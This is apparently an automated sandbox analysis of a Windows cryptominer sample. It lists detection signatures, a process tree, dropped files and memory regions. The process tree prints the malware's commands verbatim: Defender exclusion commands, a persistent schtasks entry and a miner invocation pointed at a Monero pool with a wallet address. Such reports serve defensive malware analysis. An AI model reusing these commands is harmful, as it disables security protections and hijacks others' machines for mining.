Analysis

  • max time kernel
    120s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/12/2022, 17:26

General

  • Target
    file.exe
  • Size 1.8MB
  • Sample221213-vzvbzafc59
  • SHA256 4caaca2890a24087d048b3bee2a5ebd606583d12783af9544d2027bfbfb6e220
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2732
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp99F3.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3824
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:3364
      • C:\ProgramData\common\JTPFKOXW.exe
        "C:\ProgramData\common\JTPFKOXW.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:680
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:816
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4084
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4836
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"
            5⤵
            • Creates scheduled task(s)
            PID:4844
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:3244
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4944

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        JTPFKOXW.exe

        • Path C:\ProgramData\common\JTPFKOXW.exe
        • Size 1.8MB
        • SHA256 4caaca2890a24087d048b3bee2a5ebd606583d12783af9544d2027bfbfb6e220
        • MD5 SHA1 SHA512 SSDEEP

        JTPFKOXW.exe

        • Path C:\ProgramData\common\JTPFKOXW.exe
        • Size 1.8MB
        • SHA256 4caaca2890a24087d048b3bee2a5ebd606583d12783af9544d2027bfbfb6e220
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 c88e4bbb64f7fa31429ebe82c1cf07785c44486f37576f783a26ac856e02a4eb
        • MD5 SHA1 SHA512

        tmp99F3.tmp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\tmp99F3.tmp.bat
        • Size 143B
        • SHA256 de87cc8ba2d91214e975e89a7b9fc064f18365e236c229fb7c7a20b0794c9539
        • MD5 SHA1 SHA512

        memory/680-186-0x00007FFF4CEA0000-0x00007FFF4CED5000-memory.dmp

        memory/680-174-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/680-191-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/680-190-0x0000000000250000-0x0000000000482000-memory.dmp

        memory/680-189-0x00007FFF538E0000-0x00007FFF5391B000-memory.dmp

        memory/680-188-0x00007FFF56640000-0x00007FFF566AB000-memory.dmp

        memory/680-187-0x00007FFF33FE0000-0x00007FFF340E2000-memory.dmp

        memory/680-185-0x00007FFF54B30000-0x00007FFF54B57000-memory.dmp

        memory/680-163-0x00007FFF485A0000-0x00007FFF4864A000-memory.dmp

        memory/680-171-0x0000000000250000-0x0000000000482000-memory.dmp

        memory/680-164-0x00007FFF55860000-0x00007FFF558FE000-memory.dmp

        memory/680-165-0x00007FFF52430000-0x00007FFF52442000-memory.dmp

        memory/680-170-0x0000000000250000-0x0000000000482000-memory.dmp

        memory/680-169-0x00007FFF56610000-0x00007FFF5663B000-memory.dmp

        memory/680-173-0x00007FFF39B90000-0x00007FFF39CDE000-memory.dmp

        memory/680-172-0x0000000000E60000-0x0000000000EA1000-memory.dmp

        memory/680-168-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/680-167-0x00007FFF55900000-0x00007FFF55AA1000-memory.dmp

        memory/680-166-0x00007FFF484E0000-0x00007FFF4859D000-memory.dmp

        memory/816-180-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/816-183-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/2732-139-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/2732-149-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/2732-137-0x00007FFF484E0000-0x00007FFF4859D000-memory.dmp

        memory/2732-136-0x00007FFF52430000-0x00007FFF52442000-memory.dmp

        memory/2732-138-0x00007FFF55900000-0x00007FFF55AA1000-memory.dmp

        memory/2732-142-0x00007FFF39B90000-0x00007FFF39CDE000-memory.dmp

        memory/2732-143-0x0000000003430000-0x0000000003471000-memory.dmp

        memory/2732-141-0x0000000000420000-0x0000000000652000-memory.dmp

        memory/2732-144-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/2732-132-0x0000000000420000-0x0000000000652000-memory.dmp

        memory/2732-140-0x00007FFF56610000-0x00007FFF5663B000-memory.dmp

        memory/2732-148-0x0000000000420000-0x0000000000652000-memory.dmp

        memory/2732-134-0x00007FFF485A0000-0x00007FFF4864A000-memory.dmp

        memory/2732-135-0x00007FFF55860000-0x00007FFF558FE000-memory.dmp

        memory/3244-192-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3244-203-0x000001969D7D0000-0x000001969D7F0000-memory.dmp

        memory/3244-202-0x000001969D5A0000-0x000001969D5C0000-memory.dmp

        memory/3244-201-0x000001969D7D0000-0x000001969D7F0000-memory.dmp

        memory/3244-200-0x000001969D5A0000-0x000001969D5C0000-memory.dmp

        memory/3244-199-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3244-198-0x000001960B010000-0x000001960B030000-memory.dmp

        memory/3244-197-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3244-196-0x000001960AFB0000-0x000001960AFD0000-memory.dmp

        memory/3244-195-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3244-194-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3508-154-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/3508-155-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/3508-150-0x000001FB6D610000-0x000001FB6D632000-memory.dmp

        memory/4084-181-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/4084-184-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/4944-158-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp

        memory/4944-153-0x00007FFF388C0000-0x00007FFF39381000-memory.dmp